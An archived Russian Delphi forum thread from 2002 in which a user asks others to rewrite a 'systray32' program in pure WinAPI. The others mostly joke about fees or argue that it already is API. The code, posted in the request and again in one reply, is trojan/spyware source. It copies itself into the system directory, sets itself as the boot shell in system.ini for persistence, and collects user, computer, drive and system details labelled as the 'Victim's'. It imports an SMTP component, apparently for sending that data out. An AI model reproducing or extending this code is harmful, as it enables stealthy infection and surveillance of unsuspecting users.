Форум: "WinAPI";
Текущий архив: 2002.12.16;
Скачать: [xml.tar.bz2];
ВнизОх уж этот API Найти похожие ветки
← →
X-shadow (2002-11-02 16:02) [0]Люди, у меня к вам очень большая просьба!!!Не могли бы вы переделать эту прогу в код API? Заранее благодарен!
program systray32;
uses
Windows,
SysUtils,
NMSMTP;
function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;
const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");
var str:string;
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
typ:integer;
Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
i:TNMSMTP;
PCNAME:string;
cPath,Win:string;
s:string;
begin
Win:=WinDir+"\systray32.exe";
if (cPath <> Win) then
begin
if FileExists(Win) then DeleteFile(Win);
CopyFile(PChar(cPath),PChar(Win),False);
writeprivateprofilestring("boot","shell",pchar(" systray32.exe"),"system.ini");
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end;
end;
← →
nikus (2002-11-05 12:54) [1]чё-нить попроще низзя?
← →
Song (2002-11-05 13:00) [2]Ну... баксов 50 может кто и возьмётся.
← →
Игорь Шевченко (2002-11-05 13:10) [3]Собственно говоря, это API и есть. Что-то не устраивает ?
← →
Diamond Cat (2002-11-05 13:21) [4]Согласен с Игорем , чего ту не устраивает?
так что мысль о 50$ которую тут кто-то закинул, можно считать неудачной шуткой
← →
Наезжалкин (2002-11-05 13:49) [5]50$ мало. просите 200$
← →
Anatoly Podgoretsky (2002-11-05 13:57) [6]Наезжалкин (05.11.02 13:49)
Это тоже щутка, вот 500 уже не щутка
← →
Song (2002-11-05 14:16) [7]2Игорь Шевченко © (05.11.02 13:10)
Игорь, я бы сказал, что это будет полностью АПИ, если в uses ничего не будет.
← →
Xemax (2002-11-05 14:19) [8]Ну вот тебе код: (переделано из API в API, а точнее здесь ничего не переделовалось).
program systray32;
uses
Windows,
SysUtils,
NMSMTP;
function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;
const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");
var str:string;
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
typ:integer;
Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
i:TNMSMTP;
PCNAME:string;
cPath,Win:string;
s:string;
begin
Win:=WinDir+"\systray32.exe";
if (cPath <> Win) then
begin
if FileExists(Win) then DeleteFile(Win);
CopyFile(PChar(cPath),PChar(Win),False);
writeprivateprofilestring("boot","shell",pchar(" systray32.exe"),"system.ini");
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end;
end;
P.S. Где мои 500 баксов ? собствено Игорь Шевченко © (05.11.02 13:10) вам и сказал что это API.
← →
Eugen Honeker (2002-11-05 14:26) [9]свами не согласен, ето было бы чисто апи,
если sysutils выкинуть, сокеты самому написать и
чтобы вся прога была всего ~10-15 kb.
тогда можно и 500 баксов запросит, или X-shadow?
← →
Игорь Шевченко (2002-11-05 15:58) [10]Song © (05.11.02 14:16)
:-) Это новый критерий ? Поделитесь, я отстал от жизни.
← →
Song (2002-11-05 16:01) [11]В uses Вы включаете модули - VCL. Полагаю что здесь всё понятно.
← →
Игорь Шевченко (2002-11-05 16:19) [12]Song © (05.11.02 16:01)
Эти:
Windows,
SysUtils
?
:-)
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2002.12.16;
Скачать: [xml.tar.bz2];
Память: 0.48 MB
Время: 0.007 c